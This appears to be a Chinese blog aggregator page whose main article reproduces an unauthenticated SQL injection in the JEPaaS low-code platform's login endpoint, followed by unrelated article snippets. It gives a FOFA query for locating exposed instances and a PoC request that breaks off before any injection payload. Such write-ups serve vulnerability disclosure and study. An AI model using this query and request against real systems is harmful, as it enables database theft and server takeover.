当前位置： 首页 > news >正文

JEPaaS 低代码平台 j_spring_security_check SQL注入漏洞复现

news 2025/11/6 3:58:29

0x01 产品简介

JEPaaS是一款优秀的软件平台产品，可视化开发环境，低代码拖拽式配置开发，操作极其简单，可以帮助解决Java项目80%的重复工作，让开发更多关注业务逻辑，大大提高开发效率，能帮助公司大幅节省人力成本和时间成本，同时又不失灵活性。适用于搭建 OA、ERP、CRM、HR、HIS等所有的企业信息管理系统（且适用于集团公司部署）。

0x02 漏洞概述

JEPaaS 低代码平台 j_spring_security_check 接口处存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0x03 复现环境

FOFA：

body="/saas/saasYhAction!sendRandom.action"

0x04 漏洞复现

PoC

POST /j_spring_security_check HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencodedj_

相关文章：

JEPaaS 低代码平台 j_spring_security_check SQL注入漏洞复现

0x01 产品简介 JEPaaS是一款优秀的软件平台产品，可视化开发环境，低代码拖拽式配置开发，操作极其简单，可以帮助解决Java项目80%的重复工作，让开发更多关注业务逻辑，大大提高开发效率，能帮助公司大幅节省人力成本和时间成本，同时又不失灵活性。适用于搭建 OA、ERP、CRM、…...

编程日记 2024/6/13 12:52:05

天锐绿盾 | 无感知加密软件、透明加密系统、数据防泄漏软件

摘要：文件加密软件,包含禁止非授权的文件泄密和抄袭复制解决方案即使被复制泄密都是自动加密无法阅读,透明加密,反复制软件,内网监控,文件加密,网络安全方案,透明文件加密,加密文件,图纸加密,知识产权保护,加密数据; 通过绿盾信息安全管理软件，系统在不改…...

编程日记 2024/6/13 12:51:04

kubernetes（k8s）集群部署（2）

目录 k8s集群类型 k8s集群规划： 1.基础环境准备： （1）保证可以连接外网 （2）关闭禁用防火墙和selinux （3）同步阿里云服务器时间（达到集群之间时间同步） &…...

编程日记 2024/6/13 12:50:03

Git操作指南

1、提交代码操作 拉取线上分支，防止本地代码提交冲突 git pull origin dev git add . git commit -m “给本次提交添加注释” git push origin dev 2、打分支并切换分支 git checkout -b 新建并切换到新分支 切换到主分支 git checkout main git merge dev git p…...

编程日记 2024/6/13 12:49:03

全域推广和标准推广哪个更好。谁更容易获客？

随着全域概念的兴起，全域推广逐渐走进人们视野，并成为新的互联网热词。在此背景下，与全域推广相关的话题，如全域推广是什么及全域推广和标准推广的区别等成为了许多创业者讨论和搜索的对象。 所谓的全域推广，简单来说…...

编程日记 2024/6/13 12:48:01

首张地下地图！D-Wave 专用量子计算机助力沙特阿美完成地震成像

内容来源：量子前哨（ID：Qforepost） 文丨浪味仙 排版丨沛贤 深度好文：800字丨3分钟阅读 摘要：过去两年中，沙特阿美研究中心一直在使用总部在加拿大的D-Wave 公司的专用量子计算技术，…...

编程日记 2024/6/13 12:43:56

机器学习分类及算法

1. 深度学习 1.1学习算法 1.2基本术语和概念 1.3机器学习分类常用算法 1.3.1线性回归 1.3.2逻辑回归 1.3.3决策树 1.3.4朴素贝叶斯 1.3.5支持向量机SVM 1.3.6K-最近临邻KNN 还有K-均值（k-means）、随机森林、降维、人工神经网络等 1.4超参数和验证集 1.4.…...

编程日记 2024/6/13 12:42:55

电容器连接到 PCB 电源层的过孔配置

为什么我们需要去耦电容器？ 时钟数字IC通常需要大的瞬态电源电流。例如，大型微处理器可以在很短的时间内消耗高达 10 A 的电流。随着 IC 输出的上升/下降时间缩短，我们需要以更高的速率提供瞬态能量。PCB 的电源和接地导体确实存在一定的电感…...

编程日记 2024/6/13 12:41:54

springboot+shiro+jwt 兼容session和token

最近和别的软件集成项目，需要提供给别人接口来进行数据传输，发现给他token后并不能访问我的接口，拿postman试了下还真是不行。检查代码发现项目的shiro配置是通过session会话来校验信息的 ，我之前一直是前后端自己写，用…...

编程日记 2024/6/13 12:38:50

CSS Display(显示)

CSS Display(显示) 概述 CSS（层叠样式表）中的display属性是控制元素如何显示的关键属性。它决定了元素的盒模型类型，即元素是块级元素、内联元素还是其他类型的元素。display属性对于网页布局和元素样式的控制至关重要。 基本用法 块级元…...

编程日记 2024/6/13 12:36:48

【PB案例学习笔记】-20制作一个超链接按钮

写在前面 这是PB案例学习笔记系列文章的第19篇，该系列文章适合具有一定PB基础的读者。 通过一个个由浅入深的编程实战案例学习，提高编程技巧，以保证小伙伴们能应付公司的各种开发需求。 文章中设计到的源码，小凡都上传到了gite…...

编程日记 2024/6/13 12:35:47

Django中使用下拉列表过滤HTML表格数据

在Django中，你可以使用下拉列表（即选择框）来过滤HTML表格中的数据。这通常涉及两个主要步骤：创建过滤表单和处理过滤逻辑。 创建过滤表单 首先，你需要创建一个表单，用于接收用户选择的过滤条件。这个表单可…...

编程日记 2024/6/13 12:34:44

Linux基础 （十五）：TCP 协议特点和UDP协议

上一节，我们学习了TCP协议的服务器-客户端的编程流程以及对中间的过程进行了详细的讨论，那么，这一节，我们对于TCP协议的特点进行进一步的分析，这也是面试的重点和难点。 目录 一、TCP 协议特点 1.1 连接的建立与断…...

编程日记 2024/6/13 12:31:41

python替换word文件中的图片

python替换word文件中的图片 模拟鼠标键盘，截屏 import glob import os import timeimport pyautogui import pyautogui as p from PIL import ImageGrab from pynput.keyboard import Controller# -*- coding:utf-8 -*-directory ./directory1 ./outputfor f i…...

编程日记 2024/6/13 12:30:40

Servlet-01

文章目录 Servlet创建Servlet探究Servlet的生命周期 HttpServletWebServlet注解详解 重定向与请求转发ServletContextServletContext中的接口 HttpServletRequestHttpServletResponse状态码解释Cookie Servlet Q：它能做什么呢？ A：我们可以通…...

编程日记 2024/6/13 12:29:39

C语言：链表

链表 介绍单向链表节点结构创建节点插入节点删除节点遍历链表尾部插入查找节点链表反转示例程序程序1程序2 介绍 链表是一种常见的数据结构，用于存储一系列线性数据。与数组不同，链表中的元素在内存中不必是连续存放的，而是通过指针将每个元…...

编程日记 2024/6/13 12:28:37

【git使用二】gitee远程仓库创建与本地git命令用法

目录 gitee介绍 管理者注册gitee账号 管理者在gitee网站上创建远程仓库 每个开发者安装git与基本配置 1.git的下载和安装 2.配置SSH公钥 3.开发者信息配置 git命令用法 gitee介绍 Gitee（又称码云）是一个基于Git的代码托管服务，由开源…...

编程日记 2024/6/13 12:27:36

明星百科大全PHP网站源码

源码介绍 明星百科大全网站源码，国内外明星娱乐音乐、新闻八卦、写真照片、相关影视作品等等的明星百科网站源码。 源码截图 源码下载 明星百科大全PHP网站源码...

编程日记 2024/6/13 12:26:34

白酒：茅台镇白酒的品鉴会与文化交流活动

茅台镇，这个位于中国贵州省的小镇，因其与众不同的自然环境和杰出的酿酒工艺而成为世界著名的白酒产区。云仓酒庄豪迈白酒作为茅台镇的品牌，积极参与各种品鉴会和文化交流活动，向世界展示了中国白酒的魅力和文化底蕴。 近年来&…...

编程日记 2024/6/13 12:25:30

python中列表结构在点云数据处理中用法

1、前言 Python中的列表（list）是一种可变的序列类型，用于存储集合数据。列表用途非常广泛，包括但不限于以下几个方面： 存储集合数据：列表用于存储一系列有序的元素，这些元素可以是任何数据类型&…...

编程日记 2024/6/13 12:24:29

Java 8 Stream API 入门到实践详解

一、告别 for 循环&#xff01; 传统痛点&#xff1a; Java 8 之前&#xff0c;集合操作离不开冗长的 for 循环和匿名类。例如&#xff0c;过滤列表中的偶数&#xff1a; List<Integer> list Arrays.asList(1, 2, 3, 4, 5); List<Integer> evens new ArrayList…...

编程新知 2025/10/27 2:28:51

MFC内存泄露

1、泄露代码示例 void X::SetApplicationBtn() {CMFCRibbonApplicationButton* pBtn GetApplicationButton();// 获取 Ribbon Bar 指针// 创建自定义按钮CCustomRibbonAppButton* pCustomButton new CCustomRibbonAppButton();pCustomButton->SetImage(IDB_BITMAP_Jdp26)…...

编程新知 2025/10/31 16:39:39

第一篇：Agent2Agent (A2A) 协议——协作式人工智能的黎明

AI 领域的快速发展正在催生一个新时代&#xff0c;智能代理&#xff08;agents&#xff09;不再是孤立的个体&#xff0c;而是能够像一个数字团队一样协作。然而&#xff0c;当前 AI 生态系统的碎片化阻碍了这一愿景的实现&#xff0c;导致了“AI 巴别塔问题”——不同代理之间…...

编程新知 2025/10/28 15:49:23

Element Plus 表单(el-form)中关于正整数输入的校验规则

目录 1 单个正整数输入1.1 模板1.2 校验规则 2 两个正整数输入&#xff08;联动&#xff09;2.1 模板2.2 校验规则2.3 CSS 1 单个正整数输入 1.1 模板 <el-formref"formRef":model"formData":rules"formRules"label-width"150px"…...

编程新知 2025/10/29 9:58:23

USB Over IP专用硬件的5个特点

USB over IP技术通过将USB协议数据封装在标准TCP/IP网络数据包中&#xff0c;从根本上改变了USB连接。这允许客户端通过局域网或广域网远程访问和控制物理连接到服务器的USB设备&#xff08;如专用硬件设备&#xff09;&#xff0c;从而消除了直接物理连接的需要。USB over IP的…...

编程新知 2025/11/3 20:52:27

推荐 github 项目:GeminiImageApp(图片生成方向，可以做一定的素材)

推荐 github 项目:GeminiImageApp(图片生成方向&#xff0c;可以做一定的素材) 这个项目能干嘛? 使用 gemini 2.0 的 api 和 google 其他的 api 来做衍生处理 简化和优化了文生图和图生图的行为(我的最主要) 并且有一些目标检测和切割(我用不到) 视频和 imagefx 因为没 a…...

编程新知 2025/10/27 6:22:43

STM32HAL库USART源代码解析及应用

STM32HAL库USART源代码解析 前言STM32CubeIDE配置串口USART和UART的选择使用模式参数设置GPIO配置DMA配置中断配置硬件流控制使能生成代码解析和使用方法串口初始化__UART_HandleTypeDef结构体浅析HAL库代码实际使用方法使用轮询方式发送使用轮询方式接收使用中断方式发送使用中…...

编程新知 2025/10/29 10:38:57

Spring AI Chat Memory 实战指南：Local 与 JDBC 存储集成

一个面向 Java 开发者的 Sring-Ai 示例工程项目&#xff0c;该项目是一个 Spring AI 快速入门的样例工程项目&#xff0c;旨在通过一些小的案例展示 Spring AI 框架的核心功能和使用方法。 项目采用模块化设计&#xff0c;每个模块都专注于特定的功能领域&#xff0c;便于学习和…...

编程新知 2025/10/16 14:46:22

适应性Java用于现代 API：REST、GraphQL 和事件驱动

在快速发展的软件开发领域&#xff0c;REST、GraphQL 和事件驱动架构等新的 API 标准对于构建可扩展、高效的系统至关重要。Java 在现代 API 方面以其在企业应用中的稳定性而闻名&#xff0c;不断适应这些现代范式的需求。随着不断发展的生态系统&#xff0c;Java 在现代 API 方…...

编程新知 2025/10/31 0:35:18

永磁同步电机无速度算法--基于卡尔曼滤波器的滑模观测器

一、原理介绍 传统滑模观测器采用如下结构&#xff1a; 传统SMO中LPF会带来相位延迟和幅值衰减&#xff0c;并且需要额外的相位补偿。 采用扩展卡尔曼滤波器代替常用低通滤波器(LPF)&#xff0c;可以去除高次谐波&#xff0c;并且不用相位补偿就可以获得一个误差较小的转子位…...

编程新知 2025/10/22 2:08:09